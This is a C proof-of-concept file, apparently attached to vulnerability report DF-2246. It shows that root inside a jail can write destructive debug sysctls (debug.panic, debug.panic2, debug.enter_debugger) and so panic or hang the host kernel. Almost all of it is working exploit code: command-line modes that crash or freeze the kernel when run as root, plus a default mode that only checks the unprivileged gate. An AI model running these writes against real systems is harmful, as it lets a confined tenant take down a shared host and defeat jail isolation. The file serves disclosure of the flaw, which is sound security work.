DF-2246 / ddb_sysctl.c
/* * DF-2246 PoC: destructive DDB sysctls have no jail confinement. * * The sysctl dispatcher (sys/kern/kern_sysctl.c:1446) gates writes on * caps_priv_check(SYSCAP_NOSYSCTL_WR). prison_priv_check() in * sys/kern/kern_jail.c:885 returns 0 (allowed) for SYSCAP_NOSYSCTL_WR * inside a jail, so a jailed root can write debug.panic / debug.panic2 / * debug.enter_debugger and panic/hang the HOST kernel -- crossing the * jail containment boundary. * * Outside a jail the unprivileged (non-root) gate holds: writing these * sysctls as uid!=0 returns EPERM (verified). This PoC runs as the * invoking user; if run as root it will hang the kernel in DDB or panic * it. Pass an argument to choose the destructive sysctl. * * ./ddb_sysctl enter -> debug.enter_debugger=ddb (hard DDB hang) * ./ddb_sysctl panic -> debug.panic=1 (kernel panic) * ./ddb_sysctl panic2 -> debug.panic2=1 (stack-guard panic) * (no arg / unpriv) -> prints EPERM, demonstrates the gate */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/sysctl.h> static int write_sysctl(const char *name, const char *val) { char buf[64]; size_t vlen = strlen(val) + 1; if (vlen > sizeof(buf)) vlen = sizeof(buf); strlcpy(buf, val, sizeof(buf)); int rc = sysctlbyname(name, NULL, NULL, buf, vlen); return rc; } int main(int argc, char **argv) { const char *mode = (argc > 1) ? argv[1] : "check"; int rc; if (strcmp(mode, "enter") == 0) { printf("[*] writing debug.enter_debugger=ddb (root) -> DDB hard hang\n"); rc = write_sysctl("debug.enter_debugger", "ddb"); printf("[!] returned rc=%d (unexpected: kernel did not enter DDB)\n", rc); } else if (strcmp(mode, "panic") == 0) { printf("[*] writing debug.panic=1 (root) -> kernel panic\n"); rc = write_sysctl("debug.panic", "1"); printf("[!] returned rc=%d (unexpected: kernel did not panic)\n", rc); } else if (strcmp(mode, "panic2") == 0) { printf("[*] writing debug.panic2=1 (root) -> stack-guard panic\n"); rc = write_sysctl("debug.panic2", "1"); printf("[!] returned rc=%d (unexpected: no panic)\n", rc); } else { /* check: demonstrates the unprivileged gate holds */ rc = write_sysctl("debug.panic", "1"); if (rc != 0) { printf("[+] unprivileged debug.panic write BLOCKED: rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); printf("[+] the uid-0 capability gate (SYSCAP_NOSYSCTL_WR) holds for non-root.\n"); printf("[+] NOTE: prison_priv_check() returns 0 for SYSCAP_NOSYSCTL_WR (kern_jail.c:885),\n"); printf(" so a jailed root CAN write these -- the jail-confinement gap is real.\n"); } else { printf("[!] unprivileged debug.panic write SUCCEEDED -- gate broken!\n"); } } return (rc == 0) ? 0 : 1; } |